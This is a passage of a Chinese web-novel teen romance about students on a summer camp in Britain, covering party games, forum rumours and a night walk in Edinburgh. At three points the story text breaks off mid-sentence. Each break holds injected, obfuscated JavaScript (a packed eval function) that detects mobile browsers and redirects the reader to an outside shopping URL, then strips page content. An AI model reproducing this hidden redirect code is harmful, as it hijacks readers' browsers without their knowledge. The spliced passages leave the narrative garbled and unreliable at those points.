程又一伸手在篓恩头上敲了一下,走到床边拿起靠枕递给周悉许,“坐这个,他弱鸡,你队友不是。” 周悉许愣了一下,伸手接过来。靠枕很软,她攥了攥,没说话。 她第一次发现,程又一竟然这么绅士。没有趁机揩油,没有多余的动作。他递靠枕的时候,甚至避开了她的手指。不刻意,也不疏离,但很体面。 她垂眼看了看手里的靠枕,又抬头看程又一。他已经转过去了,看不到脸,只能看到个宽阔的背。 “你特么还真是不会放过任何一个装逼的机会,女生越多,你越能装,我是真服气你。”篓恩嘲讽道。 “你也想,但实力不允许。”程又一摆出平板支撑,扭头示意周悉许坐上来。 见状,其他几组也陆续开始准备。 周悉许垫着靠枕侧坐在程又一背上,一只手端着水杯,一只手伏着他肩膀,脚支着地面。 程又一转头开玩笑,“还找个支撑点,是怕我把你摔下去?” “这不是还没开始吗,帮你减轻负重,别说话了,保存点体力,我可不想被罚。”周悉许回。 程又一笑得别有深意,“会让你知道的,我体力有多好。” 周悉许:“……” 这话怎么听着这么奇怪? 虽然挑不出毛病,在当下的语境也毫无违和感,但听着总觉得有点别扭。 似乎……不太正经。 周悉许没说话。她怕是自己想歪了,曲解对方的意思,又怕说了更尴尬,只能左耳朵进右耳朵出,不过多纠结。 很快,游戏开始了。 柳宜菲刚计时没两秒,就有两组宣告失败。徐途那组最夸张,她刚坐上去,队友就直接趴了。另一组多撑了两秒,手肘打着颤,挣扎几下也瘫在了地上。 剩下的四组里,有一组在硬撑,勉强做了两个。篓恩和另一个男生倒还算稳。 至于程又一,很轻松。 他的核心和力量强得惊人,不像高中生,更像是经过长期训练的专业运动员。隔着垫子都能感受到他上下起伏时全身硬邦邦的肌肉,或许是考虑到周悉许手里还端着水,他的动作幅度不大,整体很平稳。 游戏进行到中途,硬撑的那组男生体力不支,瘫在地上了。 没过多久,另一组的男生也撑不住了,连带着身上的女生整个人翻了过去,水杯摔了个底朝天。 篓恩的体力倒是很好,撑到了最后,虽然气息轻微紊乱,但也不算吃力,只是在个数量上输给程又一。 托程又一的福,整场游戏下来,周悉许在女生里稳居第一。 柳宜菲开口吐槽,“篓大少,你这个游戏考虑的不全面啊,输的有罚,赢的没赏啊。” 篓恩手扶着额头,装模作样地想了想,“是我欠考虑了,这样吧,奖励赢的男生亲一下队友,赢的女生全场随便挑一个男生亲。” 柳宜菲实在装不下去了,没控制住爆了个粗口。 “这特么这也叫奖赏?明明是变相给男生谋福利!对男生来说是奖励,对女生来说比惩罚还过分!” 篓恩摊手,“没有啊,我这是变相罚程又一。”他朝程又一扬了下头,“赶紧的,获胜者,亲一下你的驴队友。” “还有活驴,全场随你选,我够意思吧?如果你想选我,我也可以勉为其难配合一下,虽然我很不情愿。” “滚远点。”周悉许骂道,她脚没动,很明显是不打算领这个所谓的“奖励”。 程又一也没动,嘴角微挑,看着又不太像在笑。 “快点,人家输的都主动领罚了,你俩能不能自觉点?”篓恩等得不耐烦了,伸手推了周悉许一把,力道不大,但来得突然。周悉许没防备,整个人朝程又一那倾斜。 她本能地想稳住,手还没抬起来,肩膀已经撞上去了。 程又一下意识伸手在她腰上扶了一下,待她站稳,迅速移开手,没做多余停留。 两个人都愣了一下。谁都没说话,气氛有些微妙。 见此情形,顾畔脸色差到了极致。 “你瞎起什么哄?”她终于按捺不住,语气很冲,“赢的人都没想要奖励,就你多事,能不能消停消停?” “小屁孩闭嘴。”篓恩不耐道。 “怎么说?领奖吗?”程又一终于开口了,恢复了平时的淡定,带着漫不经心。 “我放弃,你随意。”周悉许回,话一出口才意识到不对,急忙改口,“你也不准领。” 程又一朝篓恩摊手,“看到没?玩不起的不是我。” “看出来了,活驴你真是对不起你的鼎鼎大名。”篓恩立马接话,“以前还以为是个奔放洒脱的新时代女性,没想到啊,这么封建,白受西方教育那么多年了。” “滚。” “这在国外就算一社交礼仪,至于吗你?”篓恩凑近一步,继续煽风点火,“赶紧的,别玩不起,挣口气行不行?” 周悉许攥了攥手指。 她不是多开放的人,但也不想落个“玩不起”的名头,更不想被篓恩没完没了地揶揄。 大不了就当被狗舔了一口。 她皱着眉头,紧闭双眼,把脸凑近程又一,“赶紧的。” 程又一看着眼前这张生无可恋的脸,跟去赴刑场似的,无奈笑了笑,他伸出手,在周悉许额头上轻轻弹了一下。 “算了,我也玩不起。” 周悉许缓缓睁开眼,绷着的神经一下子松了。 程又一没移开视线,声音低下来,“也没兴趣强人所难。” 距离近在咫尺。 周悉许能感受到他说话时的气息,湿热,夹着薄荷的清凉,拂在她脸上,痒痒的。他眼神还是一如既往的平静,但这平静中隐隐藏着点情绪。 她突然就觉得,心里有种说不清的感觉。 “打扰一下。” 门外传来诸葛致长的声音,“我们组在玩真心话大冒险,能请咱4组的同学配合一下吗?” 篓恩一听来精神了,扯着嗓门喊,“快进来,什么打扰不打扰的,都是同学,不说两家话。” 诸葛致长推开门走进来,后面跟着一个女生。他指了下女生,开口说,“我们组的林沐淋,抽到了大冒险,和自己喜欢的男生表白。” 后面的话不用说,大家也心知肚明。 来4组,表白对象还能是谁? 女生害羞的抬起眼,还没开口,就对上了顾畔的视线。顾畔没什么表情,但女生还是察觉到了警告。她目光缩了回去,僵了一秒,转向篓恩,“…..篓恩,我喜欢你。” 顾畔露出了个满意的笑。 篓恩先是一愣,接着像是被踩了尾巴,“你们这是在玩整人游戏?老子虽然大度,但不接受这种奇耻大辱。” 柳宜菲“噗嗤”笑出声。 “是啊,我们篓大少可不做“退而求其次”的那个次。” “行了,别拿我开涮了,完成任务了就回去吧。”篓恩摆摆手,“班长,咱也玩真心话大冒险吧。” “不玩刚才的游戏了?”柳宜菲问。 篓恩指着对面的几个男生说,“就这几个货,体力菜成这样,还玩个屁,玩到最后就是我和程又一的PK,一点悬念都没有。” “那你就和人家PK一下啊,总不能一直是那个“次”吧。”柳宜菲阴阳怪气道。 “我怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳宜菲没忍住,“你答的什么玩意?问题是爱,你答了个理想型。” 周悉许倒是没放在心上,篓恩的无厘头她早就见识过了。 这货肚子里没半点墨水,又是个花心大萝卜,他答得不着边际是再正常不过的。相反,他答得靠谱才奇怪。 紧接着第三轮。 输的人是程又一。 女生们瞬间精神起来,全场的氛围紧张了些。 程又一手指在屏幕上轻轻一点,定格在一条问题上。 【说出让你恋恋不忘的人和原因】 顾畔屏住呼吸,在场的同学也都紧张起来,周围瞬间安静了,都在等程又一的答案。 “原因是——” 程又一停顿了一下,缓缓开口,“脸漂亮,身材好,至于人嘛——”他故意拉长音,目光似有似无地扫过对面,“陌生人版的活驴。” 活驴是谁,在场的都心知肚明。 这话无疑是坐实了之前的传闻。 顾畔表情凝重,其他人的目光在两人之间来回打量。 周悉许此刻的心理状态不亚于顾畔,甚至更复杂。 全场更安静了。 篓恩开口打破沉默,“你这人是真骚,别想借小爷的话蒙混过关,还搅得人活驴春心荡漾。问的是恋恋不忘的人,你能不能好好审题,怎么也得说个以前的认识的啊,就算糊弄也稍微过过脑子。” 柳宜菲恍然,“啊,原来是照搬你那个答案。” 其他人也反应过来,都觉得程又一想蒙混过关。 只有周悉许,思绪万千。 “算了,放过他吧,继续下一轮。”柳宜菲说。 这局就被一带而过。 第四轮是徐途。她抽到的是周悉许再熟悉不过的那个问题。 【喜欢的人不喜欢自己怎么办】 徐途的答案也和她猜的差不多,“默默喜欢。” “划水,没新意。”篓恩吐槽,“大班长,你这真话库不够刺激啊,我都快睡着了。” 柳宜菲微笑着瞪了他一眼,没说话,想表达的内容全在眼神里了。 接下来又轮到了顾畔和篓恩,还有篓恩旁边两个瘦瘦的男生。游戏接近尾声时,周悉许来了个压轴。 她抽到的问题是:【你有喜欢的人吗?喜欢了多久?】 周悉许想了一会儿,神情认真。 “有,喜欢了很多年。” 话音刚落,程又一手里一直转着的烟掉了。 表情也僵了一下。 23. 二手货 当晚,南洋论坛冒出来个帖子,IP地址在英国。 【夏令营之旅重大发现:程又一真的喜欢周悉许!!!】 十来分钟后,论坛炸了。有人吵,有人闹,还有人要举报,总之吵成一团。 没过几分钟,发帖人置顶了一条评论: 【楼主没乱说,证据如下:】 1.在剑桥同船。 2.玩游戏和篓恩换队友(篓恩队友是周悉许) 3.对周悉许很贴心,还给她拿坐垫。 4.问周悉许能不能亲她。 5.(最最最重要!)周悉许说自己有个喜欢了很久的人,程又一他慌了!!! 帖子热度越来越高,很快传到了顾畔耳朵里。 英国时间凌晨1:15。 顾畔躺在床上,抬头看了眼墙上的钟,打了个哈气。听到电话里的人说起论坛的事,瞬间困意全无。 “帖子是我们的人发的?”顾畔问。 “不是,我问过了,有可能是看周悉许不顺眼的人,烦她的也不是一个两个。”对面的人幸灾乐祸地说。 顾畔嘴角上扬,“是她自己不老实,激起民愤了。你关注下这事,必要时候帮一把。” “好嘞,不过畔姐,这事我挺纳闷的。” “什么?”顾畔看着手指甲,随口问。 “发帖的和那条被置顶的评论,总觉得这俩人好像全程都在我们身边。” “怎么说?” “她俩说得都有模有样的。就拿剑桥游船来说,我记得当时咱附近除了周悉许她们仨,没其他南洋学生,你们上船之后也半天没见着。” 电话里的人说着当时的情形,顾畔也开始回忆。 乘船点那个时间段貌似就只有他们,几个小跟班没和自己同船,在后一艘船,她们应该更清楚当天的情况。 “要么就是沿路被人看到了,要么——”顾畔停顿下来,没继续说。 电话里的人连忙开口,“畔姐,我懂了,咱这边的人我再去问问,敲打一下个别不听话的。” 顾畔没明确态度,再次陷入思考。 而后,嘴角弯了一下。她挂断电话,哼着歌走进浴室。 次日清晨。 周悉许还赖在床上,门外传来徐途的声音,“悉许,起来了,要出发了。” 由于昨天游戏结束得太晚,回来的时候已经接近一点了,今天彻底睡过点了。 周悉许从床上爬起来,揉了揉睡得迷迷糊糊的眼睛,哑着嗓子喊了一声,“马上,等我五分钟。” 她缓了几秒快速起身,匆匆忙忙去卫生间洗漱,从行李箱里随便翻出一套衣服,穿上就出门了。 —— 酒店大厅,人都到齐了。 周悉许打了个哈欠,后悔没设个闹钟。 柳宜菲迎上来压低声音说,“分享个搞笑的事,给你提提神。” “什么事?”周悉许揉了揉眼睛,指尖蹭掉眼角沁出的一点泪,还没完全精神,声音里带着刚睡醒的沙哑。 “周悉丞和程又一撞衫了,哈哈哈。”柳宜菲笑得眼睛弯成月牙,边说边贼兮兮地左右瞟了两眼。 周悉许顺着看过去。 就看见程又一冷着张脸站在大厅左侧,周悉丞脸更黑站在大厅右侧。 两人一左一右分别在最极端的角落,恨不得离对方远远的。 他们身穿一模一样的白色休闲衬衫,内搭黑色T恤,下身黑裤子,甚至连脚上的鞋款式都差不多。 除了脸不同,相似度接近百分之百。 “南洋啥时候换的统一服装,咱都不知道。”柳宜菲笑着说。 周悉许有些心虚,干笑两声,“是挺像校服。” 在场的同学也都在窃窃私语,不用听也猜得到,是在讨论这俩人撞衫的事。 “人到齐了,大家上车吧。” 诸葛致长点完人数,喊了一声,学生们都陆陆续续上了车。 周悉许磨蹭到最后才动身。周悉丞的怒气她早已察觉,而程又一那边,风向似乎也不对。她低着头,心提到了嗓子眼,经过程又一的时候,没正眼看,只用余光微微扫了一下。 程又一冷着那张脸在看窗外,心情看着不太好。 周悉许又继续走了两步,到周悉丞面前。 对方一动不动,看着并不打算让她进去。 “出来一下,我进去。”周悉许好声好气地说。 周悉丞没起身,只是侧了侧,挪出很窄的一条缝。 周悉许也没多话,抬腿跨了进去。 她现在只想把自己的存在感降到最低,坚决不能让周悉丞抓到由头发泄怒火。 刚落座,柳宜菲在她肩膀拍了一下,表情挺严肃的。“你看手机,我建了个群,分享学习资料。” “好。”她应道。 柳宜菲虽然是班长,但成绩一般。她和徐途不一样,不是实打实的学霸,她比较热衷于学生干部和社团管理工作。突然要交流学习的问题,还挺意外的。 周悉许点亮手机屏幕,看到一条消息通知。 【野心邀请你、徐徐图之加入(女权捍卫者)群聊】 刚进群,柳宜菲就在里面发了张截图,还有一条消息: 「论坛投票呢,两大男神撞衫谁更帅」 徐徐图之:「我没看过论坛,谁赢了?」 野心:「现在是程又一领先,不过我猜周悉丞很快会追上来,这种一来一回的拉锯赛不是一天两天了,弄到最后估计也不会有胜负」 ZXZ:「那你拉个群是打算……给谁拉票?」 野心:「我可不是那么肤浅的人,这都是他俩梦女干的事,本姑娘单纯是为了八卦。哈哈哈哈哈」 野心:「太搞笑了有没有?你们是没看到今天早上,他俩看到对方,那脸黑的……程又一还冷笑一声,挺能装的,给周悉丞直接笑懵逼了,逗死。」 柳宜菲在群里尽情输出,周悉许看得早已后背发凉。 这事办得太尴尬了。 当时她脑子绝对是短路了,才会想到这么一招,搞得大家都难堪。 “不打算给个说法?” 周悉丞的质问如约而至。 周悉许知道是躲不掉的。 后座的人应该是听到了周悉丞的话,原本活跃的群瞬间安静下来。 篓恩也敏锐的嗅到了八卦气息,身子紧靠椅背,侧着头伸长耳朵偷听。 周悉许声音很小,“借得别人衣服,借得时候是新的,总不能还个二手的,就买了个新的还人家。” 她没说完,后面的话就算不说,周悉丞也猜的到。 周悉丞接过她的话,“所以,二手的就送我了?” 周悉许没吭声。 “你挺会废物利用,我怎么没发现你还有节俭的美德?” 看得出周悉丞是真被气到了,竟然一口气说了这么一大段话。 周悉许理亏,耐心解释着,“这个也是全新的,还有吊牌呢,他没穿过,要穿也就是我穿了一晚上而已。” 周悉丞瞥了她一眼,没再说话,闭上眼睛,显然是不想搭理她了。 由于周悉许说话的时候声音很小,篓恩听得不全,有限的范围内,他注意力都聚焦在“我穿了一个晚上”这句话上。 他凑近程又一,满脸好奇,“你俩昨晚干什么了?” 虽然他已经尽量压低了声音,但车内比较安静,附近的人还是听得到。他话问得不清不楚,更让人忍不住遐想。 “没你想的那些事,就是普通同学。” 程又一的声音不算小,该听到的人都听得到。 至少,周悉许是听到了,而且格外清楚。 程又一说得很严肃,难得一板一眼。是真的只把她当作同学而已,没其他想法。 一切如她所愿。 但不知怎的,心里怪怪的。 —— 下车后,柳宜菲识相地不再提撞衫的事,徐途也和平时一样。哪怕遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586036|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女生在一起嘀咕,两人也都自觉屏蔽。 周悉许和周悉丞解释完,便没再把这事放在心上,三个人就和前几天一样,全身心投入到吃喝闲逛上。柳宜菲依旧乐此不疲地在每个打卡点拍照,拍完还会摆弄一会儿手机。 “我弟是周天王的粉丝,MV的场景都给他拍个遍,也不枉费举全家之力让我出来看世界。”柳宜菲边打字边说。 “我小时候也是周天王的粉丝,他的歌前奏都很逆天。”周悉许说。 “我也很喜欢,尤其是那首《反方向的钟》”徐途也开口了,声音轻飘飘的,注意力不太集中,像是在想事。 这歌周悉许非常熟悉,是首比她年纪都大好几岁的经典老歌。 第一次听的时候还是很小的时候,只听过曲调,没有歌词,是用小提琴演奏的。 她当时觉得大提琴的浑厚更适合这个沉重的旋律,然后她反反复复练习了很久,又反反复复拉了很多年。 “我没听过这歌,太冷门了,我喜欢《最伟大的作品》,他早期的风格要死不活的,共情不了一点。”柳宜菲说。“毕竟像我这样的单身狗对情啊爱啊没概念,就是个快乐的小二逼。” 周悉许笑了笑,没概念其实挺好的。 “这是在探讨啥呢?还情啊爱啊的。” 身后响起一个声音,不用看都知道是谁,这么贱的嘴,除了篓恩没别人。 “偷听可耻,篓大少。”柳宜菲翻了个白眼。 篓恩轻笑,伸手指了一圈,“这么多人呢,听到的又不止我一个,哪个年代的人?还听《反方向的钟》?”他用肩膀撞了下程又一,“是吧,都八百年前的老歌了。” 程又一“嗯”了一声,没说别的。 徐途面色一沉。 歌是她提的,被篓恩这么一吐槽,脸上顿时挂不住了。 周悉许知道她脸皮薄,也不擅长怼人,便开口道,“经典不分年代,你这么潮,别跟我们这种有年代感的人搭话,还有,跟你不熟,别说话这么随意。” 篓恩冷哼一声。 “对,跟我不熟,跟程又一熟,借你衣服,借出来个撞衫事件,活驴,我有时候真挺好奇你的大脑构造。”他笑得放肆又得意,“周悉丞脸都绿了,不愧是你啊,厉害。” “闭嘴行吗?你嘴味儿太大,隔这么远,都能闻到一股牛粪味。” “擦,活驴你造谣也别太离谱,小爷我是出了名的口吐芬芳,不会是你鼻子里塞牛粪了吧。”篓恩笑道,又问旁边的人,“程又一,你给她说说是不是清新得很。” 周悉许这才看向程又一。 他眼神里没有任何情绪。 无意间看了周悉许一眼,完全是在看陌生人一样,只看了那一眼,就移开视线了。 随后,一言未发,抄着兜朝纪念碑走去。 篓恩骂骂咧咧地跟上去,“我算是发现了,你特么就知道在女生面前装逼耍帅。” 望着程又一的背影,周悉许隐隐觉得他不单单只是心情不好。今天,他整个人都很奇怪。似乎是在刻意回避,尽量在和她保持距离。 在卡尔顿山停留了一会儿,柳宜菲就嚷嚷着去了下一个打卡点,几人便离开了。 之后,就没再碰到程又一。 —— 当晚,酒店大厅响起了急促又酸涩的旋律。琴声低沉,带着钢琴特有的浑厚。 周悉许从水疗区出来,刚好听见。 曲调很熟悉,却怎么也想不起名字。 她一边走,一边想。 电梯抵达一层,“叮”的一声,把思绪打断。 她迈步进去。门合上的那一刻—— 想起来了。 原来,是那首歌。 难怪。 她急忙按下开门键,可电梯已经缓缓上行。等她重新回到大厅,钢琴前早已空无一人。 那段旋律还在脑子里循环,歌词也一点一点清晰: “我的天空是雨是风还是彩虹,你在控制。” 24. 每一寸都在靠近 房门口,徐途和柳宜菲像两尊门神,各捧一堆零食,一左一右把守在墙边。 “太无聊了,一起看看剧呗。”柳宜菲先开口。 周悉许也正无所事事,便一拍即合。 进门后,柳宜菲一屁股栽在沙发上,打开电视,“嚯,还是你这好啊,套房就是不一样,咱看点什么呢?” “我都行。”周悉许回。 徐途也顺着答,“我也是,你看着选吧。” “那就这个吧——”柳宜菲对着电视晃了晃遥控器,“经典神剧,唐顿庄园。” 另外两人点点头。 这部剧周悉许刷过很多次,对剧情很熟悉,再看一遍提不起太大兴趣。而且她现在的注意力根本不在追剧上,脑子里想的全是刚才那首曲子。 虽然是曾经很熟悉的节奏,但时隔几年,偶然听到,还挺陌生的。 柳宜菲嚼着食物,吐字模糊地说,“大表哥纯纯是见色起意,没见面之前他对Marry全是偏见,还特自以为是,口口声声说人家高高在上,自己和人家又有什么区别。” 徐途摇摇头,一脸平淡。 “我觉得不一样,因为他接触过的贵族就是那样的,自然而然就形成了这个认知,Mary和他想的不一样,才更吸引他,你太完美主义了。” 徐途顿了顿,又继续说,“每个人其实都是矛盾的,很难自洽,心口不一或是自相矛盾,再正常不过了。” “不会啊,我就不会,有什么好矛盾的,违心的事会让自己不舒服。”柳宜菲盯着电视,随口说道。 隔了好久徐途才缓缓开口,“可能吧,但总有些是事与愿违,还有,自己都不愿意面对的卑劣。” “切,搞那么费劲呢。”柳宜菲没走心,随口应付着,整个人都投入到剧情中。 周悉许倒是把这话听进去了。在一定程度上,她也认可。她淡淡开口,“是挺多事与愿违。” 徐途眼里带着探究,“你这是有共鸣了?” 周悉许不太自然地岔开话题,“对了,你弹钢琴吗?” “我倒是很喜欢,但是学钢琴费用有些大,家里负担不起,所以——” 徐途未说出口的话周悉许便明白了。但她有些费解,能负担的起南洋高昂的学费,照理来说也应该支付的了学钢琴的费用。 她没再深问,不想让对方不自在,便说,“哦,我刚才在楼下大厅听到有人在弹《反方向的钟》” 徐途明显顿了一下,手里的蓝莓不小心掉在地上,滚到了旁边人的脚下。 “发什么呆呢?真浪费。”柳宜菲捡起蓝莓吹了一下扔进嘴里。 徐途刚要制止,她已经嚼起来了,“没事,不干不净吃了没病,穷人的肚子没那么矜贵。”她又问周悉许,“你确定没听错?这是英国,谁会弹那玩意啊。” “没听错,我再回去看,人就不见了。” “擦,还挺神秘,搞得我都有点好奇了。”柳宜菲笑道。 “我也是好奇,才回去看看。”周悉许说。 徐途想了想,“应该是咱南洋的学生,看到钢琴手痒了,就随手一弹吧,没准儿是篓恩,他今天不是还提了嘛,再加上他那人挺爱出风头的。” 周悉许觉得这可能性极高。 除了篓恩,整个队伍里也挺难再找出第二个这么爱秀的。 “我觉得差不多,算了,咱别提那个沙雕了,看剧。” 柳宜菲指了指电视,又开启了吐槽模式,弹钢琴这事被抛到了脑后。 —— 晚上十点。天色彻底暗下来了。 徐途和柳宜菲回了各自的房间,周悉许一个人躺在床上呆呆地看着天花板。 毫无睡意。 她刷了会儿手机,又觉得莫名心烦,暴躁地抓了抓头发,腾地坐起身。 既然睡不着,就出去走走。 周悉许刚出房门,就碰上了程又一。他正在关门,看样子也是要出去。 两人对视了下,谁都没说话,一时间气氛有些尴尬。 片刻后,程又一打破沉默,“出去?” 周悉许轻轻“嗯”了一声,“有点失眠。” 程又一若有所思地点点头,没说话,氛围又再次冷下来。 见对方没有开口的意思,周悉许识趣地先走了。没走几步,身后传来程又一的声音。 “一起吧,我也睡不着。” 她停下来。 程又一走到她身边。 谁也没说去哪,两人心照不宣的出了酒店,朝城堡方向走去。 夜幕下,古老的建筑笼罩在昏黄的光线中,时间仿佛在这里慢了一拍。 两个人各怀心事,走在蜿蜒曲折的街道上。 恍恍惚惚,很不真实。 这是周悉许当下的感受。 走了好半天,程又一才开口,“我们貌似走错了。”他看着反方向,“卡尔顿山看夜景比较好。” “随便逛逛,看不看夜景无所谓。”周悉许毫不在意地回。 程又一便没再多话,只是沉默地陪在她身边。 周悉许早就察觉了他今天的反常,几次想开口,又咽了回去。最终还是没忍住:“你今天心情不好?” 程又一怔了怔,随即垂下眼,目光定定地落在她脸上,带着让人看不懂的神情。 周悉许被盯地浑身不自在,紧忙避开他的视线,“你今天和平时不一样。” 程又一的视线没移开,还在看她。 “怎么说?” “感觉。”周悉许如实回道。 这人平时话就少,也没什么情绪波动,很难看出喜怒。但今天不一样,他周身的气压很低,周悉许感觉得到。女生的第六感告诉她,他的反常,可能和自己有关。 程又一挑了下眉,“你观察得还挺细。” 他乌黑的眸子深了些,一直绷着的嘴角也微微上扬,“不过现在好了。” “是因为撞衫?”周悉许试探着问。 程又一停下脚步,靠在石桥栏杆上,抽出一根烟点燃,深深吸了一口,又缓缓吐出。 烟雾里,他整个人显得恣意又慵懒,有种说不出的氛围感。 “就算是吧。”他侧过头看她,“你呢?为什么失眠?” 其实,周悉许自己也理不清。是因为那首歌?还是那些太久远的事突然涌上来?她没想明白,也不打算当着程又一的面想。 她避开他的问题,只接了撞衫的话茬:“撞衫这事,是我没考虑周到。当时就想着赔你件新的,可原来那件扔了又舍不得,毕竟也是新的。” “能想出这么完美的办法,也为难你了。”程又一笑笑,又问,“你是因为这事睡不着?” 周悉许心虚地点点头,索性为失眠找了个看似说得通的理由。 程又一像是信了,没再揪着不放,换了个轻松的话题:“看见那城堡没?” 周悉许顺着他指的方向看过去:“嗯,怎么了?” “那儿有个故事,想知道不?”程又一卖了个关子。 爱丁堡不缺名人,也不缺故事。有典故,不稀奇。 周悉许对这些没什么兴趣,但程又一好不容易换个话题,她不想扫兴,瞎扯道:“该不会有吸血鬼吧?” “你想象力挺丰富。”程又一笑了声,“跟篓恩有得一拼。那傻缺第一次来,非要组队去城堡里抓吸血鬼,还弄了个探险小分队。” “真的假的?”周悉许瞪大眼睛,“他平时看着就缺根筋,但我没想到他是真傻。多大的人了?还童心未泯呢?” 程又一回忆着当时的情景,笑意更深了。 “小学四年级吧。” “哦,我那时候刚来英国。”周悉许随口问,“后来呢?他闹出什么笑话了?” 程又一脑子里闪过一个片段。 探险途中,路上黑漆漆的,偶尔几只乌鸦飞过,在寂静的夜晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586037|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫得格外凄凉。那晚风很大,路灯还坏了,忽明忽暗地闪着,把气氛渲染得更阴森。 黑暗中突然窜出一个衣衫褴褛的流浪汉。 几个人吓得四散跑开。 回到住处,篓恩还在不停地发抖。大家这才注意到他裤子局部的颜色深了。 想到这儿,程又一极力憋着笑,“吸血鬼没抓着,倒是闹了个笑话。” “什么笑话?”周悉许来了兴致。 “秘密。” “你这人真是,话说一半,诚心的吧,大晚上吊人胃口。” “怎么就大晚上吊你胃口了。” 原本很正常的一句话,从程又一嘴里说出来,变味了。 他语气暧昧不明,带着点调戏,听着很不正经。 “你正经点,别说着说着就跑偏。”周悉许翻了个白眼。 “有吗?”程又一语气无辜,“难不成是你多想了?” “并没有。你这个语气,换谁听了都能听出别的意思。” 程又一微微俯身,朝周悉许凑近了些。再开口,不只是语气,连表情都暧昧了。 “那你说说,听出的是什么意思?” 周悉许往后挪了挪,有点后悔,刚才该直接屏蔽。这大晚上的,四下无人,就他们一男一女,已经够暧昧了,还着了程又一的道,说些不合时宜的话。 “没什么,离远点,你挡着我吹风了。”她说。 程又一很识趣,后退了半步,拉开两人间的距离。 “篓恩到底闹了什么笑话?”周悉许问。 其实她现在已经不怎么好奇了。只是刚才的气氛太不对劲,她想把话题拽回来,让一切恢复正常。 程又一没接话,就这么看着她,看了很久。 周悉许有点扛不住,把视线挪向远处。她从来不是会躲的人,但今天不知道怎么了,心里慌得很,又说不清在慌什么。 过了好一会儿,程又一才开口:“你可以去问篓恩。我不揭人短。” 气氛总算正常了。 周悉许接话道:“他自己闹出来的笑话,会傻到跟我说?不想告诉我就直说,别扯些没用的。” “说不了,但你可以自己猜。” “该不会他让你发毒誓了吧?”周悉许问。 她自己也是从那个阶段过来的,很清楚小孩能有多幼稚,尤其是篓恩这种脑子缺根筋的,用脚指头都猜得到他干得出这种傻事。 程又一没答,只是耸了耸肩。 跟她想得差不多。既然人家让她猜,那就猜呗。 “他不会拉了吧?”她问。 这话完全没过脑子,随口就蹦出来了。 程又一“噗嗤”笑出声,朝她摆摆手:“换个字,很接近了。” “他不会是……”周悉许憋着笑,难以置信地压低了声音,“尿了吧?” 程又一没反驳,朝她比了个大拇指。 周悉许笑岔了气。 今晚收获不小,篓恩算是彻底栽她手里了。 沉浸在欢乐中的两个人没注意到,转角处有人举着手机,按下了快门。 与此同时,顾畔的手机震了几下。 「周悉许和程又一在外面散步,很暧昧」 紧随其后的是几张照片。 一张,程又一低头在看周悉许。一张,周悉许看向远处,程又一看她的背影。还有一张,两人彼此对视。拍摄距离不近,看不清程又一的神情。但透过肢体语言和画面的氛围,不难看出他和平时完全不一样。 那是顾畔从没见过的样子。 从旁观者的角度看,程又一的心已经偏了。就像他下意识倾斜的身体一样,每一寸,都在靠近周悉许。 原来,他不是只有冷漠。 顾畔盯着手机屏幕,手慢慢垂下去,忽然觉得很累。因为她看得清清楚楚,对程又一而言,周悉许很不一样。 她闭上眼,把手机扔到了一边。 25. 面红心跳 苏格兰行程结束后,大部队又继续前往牛津,途径曼城和利物浦,绕了一大圈才回到伦敦。 此时夏令营已经接近尾声,隔天一早就要启程回申泸了。 朱缇躺在周悉许旁边抱怨,“你这趟英国之旅还真没白来,总共屁大点地儿,全被你转了个遍,有你这么看望旧友的吗?” 周悉许也没想到行程会排得这么满,跟打游击队似的。 “反正你很快就回申泸了,到时候想躲你都费劲,让我消停一阵子也挺好。”她说。 朱缇伸手拍了她一下。 “死没良心的小白眼狼,白疼你了。外头野这么久,就没点事?”她眨眨眼,笑得暧昧,“比如......那种让人心跳加速的?” 就知道这个女流氓脑子里没别的事。她眨眼的时候,周悉许就猜到了。 思绪被拉回那个雨夜。 当天的行程被迫提前结束,晚饭吃得很早。天还没黑透,周悉许就又饿了。 纠结好半天,饥饿还是赢了。 她换了件衣服去附近的餐厅买夜宵,恰好碰到坐在店里喝可乐的程又一。 看到对方,两个人都很意外。 程又一被呛得剧烈咳嗽几下,那张扑克脸微微泛红。缓了缓才开口:“一起?我的还没上。” 对比他平时的冷静自持,反差感极强。 周悉许头一回发现,程又一原来也有符合这个年纪的青涩。想到这,她不受控地嘴角上扬,忘记了身边还有朱缇这个八婆。 “笑这么浪,看来还真有事发生?” 朱缇用手肘轻轻撞了她一下,“快给我说说,怎么个面红心跳?描述描述。” “死一边去。” 周悉许侧身背过去,拒绝沟通。 朱缇从后面环住她,“有没有这样?”手不安分地在她身上摩挲,“还是这样?” 周悉许抓住她到处点火的手,嫌弃地甩开,“你个女色狼,离我远点。” 朱缇扯了下唇,“切,别装了。周悉许我还不了解你?没有肢体接触,我倒立吃屎。” 她拿起床头柜上的镜子举到周悉许面前,“看看你这少女怀春的脸,红成什么样了,还不承认。” 周悉许慌张地看了眼镜子里的自己。 没有任何变化。 上当了。 